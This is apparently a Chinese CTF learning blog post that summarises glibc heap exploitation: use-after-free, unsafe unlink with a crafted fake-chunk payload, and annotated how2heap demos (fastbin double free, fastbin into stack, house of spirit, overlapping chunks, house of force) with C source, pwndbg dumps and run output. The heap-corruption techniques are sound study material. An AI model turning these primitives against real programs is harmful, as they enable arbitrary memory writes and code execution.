本文最后更新于:星期三, 四月 17日 2019, 9:01 上午

最近闲来无事,就把学过的堆的利用总结一下。这里只是总结一下利用的思路,基础知识就不讲了,可能会贴上些glibc的源码。

一些学习网站

CTF-WIKI入门网站

CTF-ALL-IN-ONE对堆的利用的原理讲的很清楚

Heap Exploitation国外作者写的,感觉还行

source code of malloc.c在线阅读glibc的源码,很方便

UAF

UAF也就是use after free,这种情况的产生是因为free掉了chunk后没有将它的指针置为空。所以在被free掉后还可以被使用。

用处:

  1. 泄露信息,比如说泄露libc的地址
  2. 与fastbins attack结合,分配到包含想要控制的地址的chunk
  3. 进行unsortedbin attack,向一个地址内写入一个很大的值

unlink的目的:把一个双向链表中的空闲块拿出来,然后和目前物理相邻的 free chunk 进行合并。这实际上是对chunk的fd和bk指针的操作,fd_nextsize和bk_nextsize只有在chunk是large bins chunk时才会用到,而一般情况下很少用到。

unlink攻击的前提条件: 程序必须有某个地方存储着malloc返回的chunk地址,例如bss段中存放chunk地址的全局数组变量

unsafe_unlink攻击的本质,是对fd和bk这两个指针的利用

FD = P->fd;                                                                     
BK = P->bk; 
FD->bk = BK;                                   
BK->fd = FD; 
因为unlink会有一个check,检查chunk的fd和bk是否被恶意修改了,所以为了绕过检查
FD和BK只能修改成特定的值,假设ptr上存储着P的地址
 (__builtin_expect (FD->bk != P || BK->fd != P, 0))
64位下
FD = ptr - 0x18
BK  = ptr- 0x10
unlink实际做了
*(ptr - 0x18 + 0x18) = ptr - 0x10
*(ptr - 0x10 - 0x10) = ptr - 0x18 #主要看这步
等价于
*ptr = ptr - 0x18

通过unlink攻击可以控制 并修改指向chunk的指针,如果程序有往chunk中写的操作,那么就可以借此实现任意地址写

PWN中的unlink 攻击主要分两种:

  • 向前合并的unlink(这里的前是指高地址的chunk)
  • 向后合并的unlink(这里的后是指低地址的chunk)
    这两者要构造的chunk有点不一样
    下面一律假设 free掉的chunk为P,存储着P地址的地址 为ptr
  1. 向后合并
    源码:
    if (!prev_inuse(p)) {
       prevsize = prev_size (p);
       size += prevsize;
       p = chunk_at_offset(p, -((long) prevsize));
       unlink(av, p, bck, fwd);
     }
    
  • 根据P的size字段的flag位,判断前一个chunk是否正在使用

  • 如果前一个chunk是free状态,修改size大小

  • 修改指向P的指针,改为指向前一个chunk

  • 利用unlink将前一个chunk从bins链表中移除
    这里构造的话要在前一个chunk中伪造一个fake_chunk,fake_chunk的fd和bk指针要为特定值,

    同时通过存在的漏洞控制当前chunk的prev_size字段和size字段,使其prev_size的大小的

    fake_chunk的大小,size字段中的prev_inuse标志位为0
    构造的payload

//假设 前一个chunk的大小为0xa0, P的大小为0x90
64位的
fake_chunk = p64(0) + p64(0x90) + p64(ptr - 0x18) + p64(ptr - 0x10) 
fake_chunk = fake_chunk.ljust(0x90,'a')
32位的
fake_chunk = p32(0) + p32(0x90) + p32(ptr- 0x10) + p32(ptr - 0x8)
fake_chunk = fake_chunk.ljust(0x90,'a')
同时要修改P的prev_size为 0x90,size字段为0x90,使prev_inuse为0
最后free掉P就可以触发unlink了

2.向前合并
源码:

 if (nextchunk != av->top) {
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);/*这里检查下下个chunk的flag标志位*/
      /* consolidate forward */
      if (!nextinuse) {
        unlink(av, nextchunk, bck, fwd);
        size += nextsize;
      }

#define inuse_bit_at_offset(p, s)\
  (((mchunkptr) (((char *) (p)) + (s)))->mchunk_size & PREV_INUSE)
  • 检查下下个chunk的prev_inuse标志位
  • 如果prev_inuse为0,就进行unlink,将P从链表中取出
  • 然后修改P的size字段
    这里利用要构造的chunk和向后合并不一样,它要能控制P的下下个chunk的size字段
    image.png

上面的图是一个64位的简单的例子,chunk1已经设置好了fd和bk,此时只要free掉chunk0,就会检查是否可以向前合并,通过检查chunk0的下下个chunk的prev_inuse标志位,也就是chunk2的,这里chunk2的prev_ inuse已经被我设置为0了,这时就会进行向前合并,通过unlink宏将chunk1从链表中取出来。

大致的就是上面所说的,不过实际上会复杂很多。
下面贴上unlink源码
unlink源码:

#define unlink(AV, P, BK, FD) {                                            
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))    /*检查chunk的size字段*/
      malloc_printerr ("corrupted size vs. prev_size");                              
    FD = P->fd;                                                                     
    BK = P->bk;                                                                    
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))/*检查chunk的fd 和bk是否正确,这里也是unlink要绕过的地方*/                     
      malloc_printerr ("corrupted double-linked list");                             
    else {                                                                   
        FD->bk = BK;                                   
        BK->fd = FD;                                                            
        if (!in_smallbin_range (chunksize_nomask (P))                             
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {                     
            if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)             
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))   
              malloc_printerr ("corrupted double-linked list (not small)");  
            if (FD->fd_nextsize == NULL) {                                      
                if (P->fd_nextsize == P)                                     
                  FD->fd_nextsize = FD->bk_nextsize = FD;                    
                else {                                                             
                    FD->fd_nextsize = P->fd_nextsize;                             
                    FD->bk_nextsize = P->bk_nextsize;                             
                    P->fd_nextsize->bk_nextsize = FD;                            
                    P->bk_nextsize->fd_nextsize = FD;                             
                  }                                                             
              } else {                                                             
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;                    
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;                  
              }                                                                  
          }                                                                    
      }                                                                        
}

top_chunk

topchunk简单的玩法就是house_of_force,分配出包含想要控制的地址的chunk,一般来说用来修改got表的内容,或者是修改_malloc_hook或者free_hook的内容。还有一种玩法就是往特定的地址写入特定的值,这个和topchunk的分配机制有关。

详情参考我这篇博客


how2heap系列

—————————–2019.3.8更新

最近在整理自己的知识体系,读了一下malloc的源码,顺便看了下how2heap上的利用例子。在这篇堆总结中记录一下。建议学习how2heap系列时,可以编译带调试信息的可执行文件,这样比较方便调试。其中一些的源码,我删除了一些没用的输出,精简了一下。

fastbin_dup

源码

#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "This file demonstrates a simple double-free attack with fastbins.\n");

    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

    fprintf(stderr, "Freeing the first one...\n");
    free(a);

    fprintf(stderr, "If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
    // free(a);

    fprintf(stderr, "So, instead, we'll free %p.\n", b);
    free(b);

    fprintf(stderr, "Now, we can free %p again, since it's not the head of the free list.\n", a);
    free(a);

    fprintf(stderr, "Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
    fprintf(stderr, "1st malloc(8): %p\n", malloc(8));
    fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
    fprintf(stderr, "3rd malloc(8): %p\n", malloc(8));
}

这个例子主要是展示了fastbin的Double free,这个指的是fastbin中chunk可以被free多次,所以可以在fastbin链表中存在多次。导致了多次分配可以从fastbin中取出同一块chunk。

这个能成功的原因:

  1. 放入fastbins中的chunk对应的nextChunk 的prev_inuse标志位没有清空
  2. fastbin在执行free时只验证了fasttop的chunk,对后面的chunk没有进行检查

运行结果

☁  how2heap [master] ⚡  ./fastbin_dup 
This file demonstrates a simple double-free attack with fastbins.
Allocating 3 buffers.
1st malloc(8): 0xc01010
2nd malloc(8): 0xc01030
3rd malloc(8): 0xc01050
Freeing the first one...
If we free 0xc01010 again, things will crash because 0xc01010 is at the top of the free list.
So, instead, we'll free 0xc01030.
Now, we can free 0xc01010 again, since it's not the head of the free list.
Now the free list has [ 0xc01010, 0xc01030, 0xc01010 ]. If we malloc 3 times, we'll get 0xc01010 twice!
1st malloc(8): 0xc01010
2nd malloc(8): 0xc01030
3rd malloc(8): 0xc01010

fastbin_dup_consolidate

源码

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
  void* p1 = malloc(0x40);
  void* p2 = malloc(0x40);
  fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
  fprintf(stderr, "Now free p1!\n");
  free(p1);

  void* p3 = malloc(0x400);
  fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
  fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
  free(p1);
  fprintf(stderr, "Trigger the double free vulnerability!\n");
  fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
  fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}

这个主要是展示了一下利用malloc_consolidate函数来进行Double free。

当在fastbin 中不存在满足分配需求的chunk时,会执行malloc_consolidate函数,这个函数主要的功能是将fastbin中的chunk拿出来,检查它们物理相邻的chunk是否处于free状态,如果处于就合并,然后将合并后的chunk放入unsortedbin中,如果是与topchunk相邻,就直接和top_chunk合并。

运行结果:

☁  glibc_2.25 [master] ⚡  ./fastbin_dup_consolidate 
Allocated two fastbins: p1=0x993010 p2=0x993060
Now free p1!
Allocated large bin to trigger malloc_consolidate(): p3=0x9930b0
In malloc_consolidate(), p1 is moved to the unsorted bin.
Trigger the double free vulnerability!
We can pass the check in malloc() since p1 is not fast top.
Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x993010 0x993010

简单分析下流程

先分配两个大小为0x40的chunkp1、p2,然后将p1 free掉, p1会被放入fastbins中

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x602000 --> 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x6020a0 (size : 0x20f60) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x0

然后分配一个0x400大小的chunk,这时没有满足这个大小的chunk,所以会执行malloc_consolidate函数,将fastbin中的chunk 合并(这里是指和物理相邻的并且处于free状态的chunk合并),然后再放入unsorted bin中

,所以p1会从fastbin中转移到unsortedbin中。然后分配器再检查bins中是否有符合的chunk,如果没有,就将unsortedbin中的chunk放入对应的bin中,这里p1被放入了smallbin[0x50]

pwndbg> smallbins 
smallbins
0x50: 0x7ffff7dd1bb8 (main_arena+152) —▸ 0x602000 ◂— 0x7ffff7dd1bb8

然后再free掉p1就不会触发doublefree 了,因为这时p1不在fastbin的头部。最后连续分配两次0x40大小的chunk,就可以取出两次p1。

fastbin_dup_into_stack

源码

#include <stdio.h>
#include <stdlib.h>

int main()
{
    unsigned long long stack_var;

    fprintf(stderr, "The address we want malloc() to return is %p.\n", 8+(char *)&stack_var);

    fprintf(stderr, "Allocating 3 buffers.\n");
    int *a = malloc(8);
    int *b = malloc(8);
    int *c = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", a);
    fprintf(stderr, "2nd malloc(8): %p\n", b);
    fprintf(stderr, "3rd malloc(8): %p\n", c);

    fprintf(stderr, "Start double free a\n");

    free(a);//double free a
    free(b);
    free(a);

    unsigned long long *d = malloc(8);

    fprintf(stderr, "1st malloc(8): %p\n", d);
    fprintf(stderr, "2nd malloc(8): %p\n", malloc(8));
    fprintf(stderr, "Now the free list has [ %p ].\n", a);
    fprintf(stderr, "Now, we have access to %p while it remains at the head of the free list.\n"
        "so now we are writing a fake free size (in this case, 0x20) to the stack,\n"
        "so that malloc will think there is a free chunk there and agree to\n"
        "return a pointer to it.\n", a);
    stack_var = 0x20;//set size

    fprintf(stderr, "Now, we overwrite the first 8 bytes of the data at %p to point right before the 0x20.\n", a);
    *d = (unsigned long long) (((char*)&stack_var) - sizeof(d));

    fprintf(stderr, "3rd malloc(8): %p, putting the stack address on the free list\n", malloc(8));
    fprintf(stderr, "4th malloc(8): %p\n", malloc(8));
}

这个例子展示了怎么利用fastbin的Double free来分配得到位于stack的chunk。核心是控制fasbtin chunk的fd指针,将它指向stack,同时stack上要有满足大小的size值。实际上可以利用这实现分配任意地址,只要知道地址,并且地址上存在满足相应fastbin大小的size值。

先Double free

pwndbg> fastbins 
fastbins
0x20: 0x602000 —▸ 0x602020 ◂— 0x602000
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0

修改fastbins chunk的fd指针为stack_add,那么fastbins链表就会指向stack_chunk

pwndbg> fastbins 
fastbins
0x20: 0x602000 —▸ 0x7fffffffdd08 —▸ 0x602010 ◂— 0x0
0x30: 0x0
0x40: 0x0
0x50: 0x0
0x60: 0x0
0x70: 0x0
0x80: 0x0

最后分配到stack的内存

☁  glibc_2.25 [master] ⚡  ./fastbin_dup_into_stack 
The address we want malloc() to return is 0x7ffe3a30b948.
Allocating 3 buffers.
1st malloc(8): 0x8ef010
2nd malloc(8): 0x8ef030
3rd malloc(8): 0x8ef050
Start double free a
1st malloc(8): 0x8ef010
2nd malloc(8): 0x8ef030
Now the free list has [ 0x8ef010 ].
Now, we have access to 0x8ef010 while it remains at the head of the free list.
so now we are writing a fake free size (in this case, 0x20) to the stack,
so that malloc will think there is a free chunk there and agree to
return a pointer to it.
Now, we overwrite the first 8 bytes of the data at 0x8ef010 to point right before the 0x20.
3rd malloc(8): 0x8ef010, putting the stack address on the free list
4th malloc(8): 0x7ffe3a30b948

house_of_spirit

源码

#include <stdio.h>
#include <stdlib.h>

int main()
{

    fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
    malloc(1);

    fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
    unsigned long long *a;
    // This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
    unsigned long long fake_chunks[10] __attribute__ ((aligned (16)));

    fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);

    fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
    fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
    fake_chunks[1] = 0x40; // this is the size

    fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
        // fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
    fake_chunks[9] = 0x1234; // nextsize

    fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
    fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
    a = &fake_chunks[2];

    fprintf(stderr, "Freeing the overwritten pointer.\n");
    free(a);

    fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
    fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

这个技术核心是在目标地址伪造fake_chunk,然后将释放。最终可以实现分配指定地址的目的。要注意的是要伪造fake_chunk的nextchunk,使其size字段的prev_inuse为0x1。

其中伪造的fake_chunk要满足一些条件

  1. fake_chunk的地址需要对齐
  2. fake_chunk的IS_MMAPPED位不能置为1,不然在被free时会被当作mmap的chunk处理
  3. fake_chunk的size大小要满足对应的fastbin的大小
  4. fake_chunk的next_chunk大小要大于2*SIZE_SZ,同时小于av->system_mem (128kb)

查看伪造的fake_chunk以及 next_chunk

pwndbg> p fake_chunks 
$4 = {0x0, 0x40, 0xff0000000000, 0x0, 0x1, 0x4008cd, 0x0, 0x0, 0x400880, 0x1234}
pwndbg> p &fake_chunks 
$3 = (unsigned long long (*)[10]) 0x7fffffffdcf0
pwndbg> chunkinfo 0x7fffffffdcf0
==================================
            Chunk info            
==================================
Status :  Freed 
Unlinkable : False (FD or BK is corruption)  
Freeable : True
prev_size : 0x0                  
size : 0x40                  
prev_inused : 0                    
is_mmap : 0                    
non_mainarea : 0                     
fd : 0xff0000000000                  
bk : 0x0    

运行结果

☁  glibc_2.25 [master] ⚡  ./house_of_spirit 
Calling malloc() once so that it sets up its memory.
We will now overwrite a pointer to point to a fake 'fastbin' region.
This region (memory of length: 80) contains two chunks. The first starts at 0x7ffc6d557388 and the second at 0x7ffc6d5573c8.
This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.
... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. 
The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.
Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, 0x7ffc6d557388.
... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.
Freeing the overwritten pointer.
Now the next malloc will return the region of our fake chunk at 0x7ffc6d557388, which will be 0x7ffc6d557390!
malloc(0x30): 0x7ffc6d557390

overlapping_chunks

源码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>

int main(int argc , char* argv[]){

    intptr_t *p1,*p2,*p3,*p4;

    fprintf(stderr, "\nThis is a simple chunks overlapping problem\n\n");
    fprintf(stderr, "Let's start to allocate 3 chunks on the heap\n");

    p1 = malloc(0x100 - 8);
    p2 = malloc(0x100 - 8);
    p3 = malloc(0x80 - 8);

    fprintf(stderr, "The 3 chunks have been allocated here:\np1=%p\np2=%p\np3=%p\n", p1, p2, p3);

    memset(p1, '1', 0x100 - 8);
    memset(p2, '2', 0x100 - 8);
    memset(p3, '3', 0x80 - 8);

    free(p2);

    int evil_chunk_size = 0x181;
    int evil_region_size = 0x180 - 8;

    *(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2

    p4 = malloc(evil_region_size);

    fprintf(stderr, "\np4 has been allocated at %p and ends at %p\n", (char *)p4, (char *)p4+evil_region_size);

    fprintf(stderr, "Let's run through an example. Right now, we have:\n");
    fprintf(stderr, "p4 = %s\n", (char *)p4);
    fprintf(stderr, "p3 = %s\n", (char *)p3);

    fprintf(stderr, "\nIf we memset(p4, '4', %d), we have:\n", evil_region_size);
    memset(p4, '4', evil_region_size);
    fprintf(stderr, "p4 = %s\n", (char *)p4);
    fprintf(stderr, "p3 = %s\n", (char *)p3);

    fprintf(stderr, "\nAnd if we then memset(p3, '3', 80), we have:\n");
    memset(p3, '3', 80);
    fprintf(stderr, "p4 = %s\n", (char *)p4);
    fprintf(stderr, "p3 = %s\n", (char *)p3);
}

这个是一个简单的overlapping_chunk的例子,它通过修改被free掉的chunk_p2的size字段,使其增大,大小为p2_size + p3_size 。然后再malloc 相应大小的chunk_p4,就可以通过chunk_p4控制 chunk_p3的内容。这个 evil_chunk_size需要注意下它的标志位,尽量保持堆的稳定性。

调试一下:

修改size前

pwndbg> heapinfo
(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x603280 (size : 0x20d80) 
       last_remainder: 0x0 (size : 0x0) 
            unsortbin: 0x603100 (size : 0x100)
pwndbg> chunkinfo 0x603100
==================================
            Chunk info            
==================================
Status :  Freed 
Unlinkable : True
Result of unlink :
       FD->bk (*0x7ffff7dd1b90) = BK (0x603100 -> 0x7ffff7dd1b78) 
       BK->fd (*0x7ffff7dd1b88) = FD (0x603100 -> 0x7ffff7dd1b78) 
Freeable : false -> Double free chunkaddr(0x603100) inused bit is not seted )
prev_size : 0x3131313131313131                  
size : 0x100                  
prev_inused : 1                    
is_mmap : 0                    
non_mainarea : 0                     
fd : 0x7ffff7dd1b78                  
bk : 0x7ffff7dd1b78                  

修改p2的size字段

0x602100 PREV_INUSE {
  prev_size = 0x3131313131313131, 
  size = 0x181, 
  fd = 0x7ffff7dd1b78 <main_arena+88>, 
  bk = 0x7ffff7dd1b78 <main_arena+88>, 
  fd_nextsize = 0x3232323232323232, 
  bk_nextsize = 0x3232323232323232
}

通过p2修改p3的内容,输出结果

☁  glibc_2.25 [master] ⚡  ./overlapping_chunks 

This is a simple chunks overlapping problem

Let's start to allocate 3 chunks on the heap
The 3 chunks have been allocated here:
p1=0x9af010
p2=0x9af110
p3=0x9af210

p4 has been allocated at 0x9af110 and ends at 0x9af288
Let's run through an example. Right now, we have:
p4 = xۦ��
3 = 333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333�

If we memset(p4, '4', 376), we have:
p4 = 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444�
3 = 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444�

And if we then memset(p3, '3', 80), we have:
p4 = 444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444333333333333333333333333333333333333333333333333333333333333333333333333333333334444444444444444444444444444444444444444�
3 = 333333333333333333333333333333333333333333333333333333333333333333333333333333334444444444444444444444444444444444444444�

overlapping_chunks_2

源码:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

int main(){

  intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
  unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6,fake_size;
  int prev_in_use = 0x1;

  fprintf(stderr, "\nThis is a simple chunks overlapping problem");
  fprintf(stderr, "\nThis is also referenced as Nonadjacent Free Chunk Consolidation Attack\n");
  fprintf(stderr, "\nLet's start to allocate 5 chunks on the heap:");

  p1 = malloc(1000);//0x3e8  actually chunk_size ==> 0x3f0
  p2 = malloc(1000);
  p3 = malloc(1000);
  p4 = malloc(1000);
  p5 = malloc(1000);

  real_size_p1 = malloc_usable_size(p1);
  real_size_p2 = malloc_usable_size(p2);
  real_size_p3 = malloc_usable_size(p3);
  real_size_p4 = malloc_usable_size(p4);
  real_size_p5 = malloc_usable_size(p5);

  fprintf(stderr, "\n\nchunk p1 from %p to %p", p1, (unsigned char *)p1+malloc_usable_size(p1));
  fprintf(stderr, "\nchunk p2 from %p to %p", p2,  (unsigned char *)p2+malloc_usable_size(p2));
  fprintf(stderr, "\nchunk p3 from %p to %p", p3,  (unsigned char *)p3+malloc_usable_size(p3));
  fprintf(stderr, "\nchunk p4 from %p to %p", p4, (unsigned char *)p4+malloc_usable_size(p4));
  fprintf(stderr, "\nchunk p5 from %p to %p\n", p5,  (unsigned char *)p5+malloc_usable_size(p5));

  memset(p1,'A',real_size_p1);
  memset(p2,'B',real_size_p2);
  memset(p3,'C',real_size_p3);
  memset(p4,'D',real_size_p4);
  memset(p5,'E',real_size_p5);

  fprintf(stderr, "\nLet's free the chunk p4.\nIn this case this isn't coealesced with top chunk since we have p5 bordering top chunk after p4\n"); 

  free(p4);

  fprintf(stderr, "\nLet's trigger the vulnerability on chunk p1 that overwrites the size of the in use chunk p2\nwith the size of chunk_p2 + size of chunk_p3\n");
  fake_size = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2;
  fprintf(stderr,"\n fake_size ==> %x \n",fake_size);

  *(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE 
  /*fake_size = real_size_p2 + real_size_p3 + prev_in_use + chunk_header_size*/

  fprintf(stderr, "\nNow during the free() operation on p2, the allocator is fooled to think that \nthe nextchunk is p4 ( since p2 + size_p2 now point to p4 ) \n");
  fprintf(stderr, "\nThis operation will basically create a big free chunk that wrongly includes p3\n");
  free(p2);

  fprintf(stderr, "\nNow let's allocate a new chunk with a size that can be satisfied by the previously freed chunk\n");

  p6 = malloc(2000);
  real_size_p6 = malloc_usable_size(p6);

  fprintf(stderr, "\nOur malloc() has been satisfied by our crafted big free chunk, now p6 and p3 are overlapping and \nwe can overwrite data in p3 by writing on chunk p6\n");
  fprintf(stderr, "\nchunk p6 from %p to %p", p6,  (unsigned char *)p6+real_size_p6);
  fprintf(stderr, "\nchunk p3 from %p to %p\n", p3, (unsigned char *) p3+real_size_p3); 

  fprintf(stderr, "\nData inside chunk p3: \n\n");
  fprintf(stderr, "%s\n",(char *)p3); 

  fprintf(stderr, "\nLet's write something inside p6\n");
  memset(p6,'F',1500);  

  fprintf(stderr, "\nData inside chunk p3: \n\n");
  fprintf(stderr, "%s\n",(char *)p3); 


}

这个也是overlapping_chunk的例子,不过它造成overlapping是在free前完成的,也就是释放一个size字段被修改后的chunk,这个修改后的chunk会将它之后的chunk给包括进去。

修改p2的size字段,大小为real_size_p2 + real_size_p3 + prev_in_use + chunk_header_size

修改前:

1552106658661

修改后

1552106686028

将p2 释放掉,再申请一个大小为2000的chunk,就可以返回p2,通过p2就可以控制p3的内容了

运行结果

1552106869103

house_of_force

源码

#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <malloc.h>

char bss_var[] = "This is a string that we want to overwrite.";

int main(int argc , char* argv[])
{
    fprintf(stderr, "The idea of House of Force is to overwrite the top chunk and let the malloc return an arbitrary value.\n");
    fprintf(stderr, "\nIn the end, we will use this to overwrite a variable at %p.\n", bss_var);
    fprintf(stderr, "Its current value is: %s\n", bss_var);

    fprintf(stderr, "\nLet's allocate the first chunk, taking space from the wilderness.\n");
    intptr_t *p1 = malloc(256);
    fprintf(stderr, "The chunk of 256 bytes has been allocated at %p.\n", p1 - sizeof(long)*2);

    fprintf(stderr, "\nNow the heap is composed of two chunks: the one we allocated and the top chunk/wilderness.\n");
    int real_size = malloc_usable_size(p1);
    fprintf(stderr, "Real size (aligned and all that jazz) of our allocated chunk is %ld.\n", real_size + sizeof(long)*2);

    //----- VULNERABILITY ----
    intptr_t *ptr_top = (intptr_t *) ((char *)p1 + real_size - sizeof(long));
    fprintf(stderr, "\nThe top chunk starts at %p\n", ptr_top);

    fprintf(stderr, "\nOverwriting the top chunk size with a big value so we can ensure that the malloc will never call mmap.\n");
    fprintf(stderr, "Old size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
    *(intptr_t *)((char *)ptr_top + sizeof(long)) = -1;// -1 ==>0xffffffffffffffff
    fprintf(stderr, "New size of top chunk %#llx\n", *((unsigned long long int *)((char *)ptr_top + sizeof(long))));
    //------------------------

    unsigned long evil_size = (unsigned long)bss_var - sizeof(long)*4 - (unsigned long)ptr_top;
    fprintf(stderr, "\nThe value we want to write to at %p, and the top chunk is at %p, so accounting for the header size,\n"
       "we will malloc %#lx bytes.\n", bss_var, ptr_top, evil_size);
    void *new_ptr = malloc(evil_size);

    void* ctr_chunk = malloc(100);
    fprintf(stderr, "\nNow, the next chunk we overwrite will point at our target buffer.\n");
    fprintf(stderr, "malloc(100) => %p!\n", ctr_chunk);
    fprintf(stderr, "Now, we can finally overwrite that value:\n");

    fprintf(stderr, "... old string: %s\n", bss_var);
    fprintf(stderr, "... doing strcpy overwrite with \"YEAH!!!\"...\n");
    strcpy(ctr_chunk, "YEAH!!!");
    fprintf(stderr, "... new string: %s\n", bss_var);

}

house_of_force是一种针对top_chunk的攻击,需要满足两点条件:

  1. 能控制top_chunk的size字段
  2. 能够自由的分配堆的大小

原理:

假设有一个溢出漏洞,可以改写 top chunk 的size字段,然后将其改为一个非常大的值,
以确保所有的 malloc 将使用 top chunk 分配,而不会调用 mmap。这时如果攻击者 
malloc 一个很大的数目(负有符号整数),top chunk 的位置加上这个大数,造成整
数溢出,结果是 top chunk 能够被转移到堆之前的内存地址(如程序的 .bss 
段、.data 段、GOT 表等),下次再执行 malloc 时,攻击者就能够控制转移之后地
址处的内存。

这个例子主要展示了通过top_chunk实现任意高地址的分配,首先将top_chunk的size字段修改为一个很大的值,这里直接修改为-1(32位下也就是0xffffffff,64位下就是0xffffffffffffffff),然后通过分配很大的内存,将top_chunk的地址抬高到我们想要控制的内存附近,然后再malloc就可以分配到想要控制的内存。

这里比较关键的是分配大小的计算 也就是evil_size的计算,计算方法如下

    /*
     * The evil_size is calulcated as (nb is the number of bytes requested + space for metadata):
     * new_top = old_top + nb
     * nb = new_top - old_top
     * req + 2sizeof(long) = new_top - old_top
     * req = new_top - old_top - 2sizeof(long)
     * req = dest - 2sizeof(long) - old_top - 2sizeof(long)
     * req = dest - old_top - 4*sizeof(long)
     */

简单的来说 evil_size = dest - top_chunk_add - size(chunk_header)

size(chunk_header)是chunk头的大小,32位时为0x10,64位时为0x20

简单调试下:

修改top_chunk的size字段

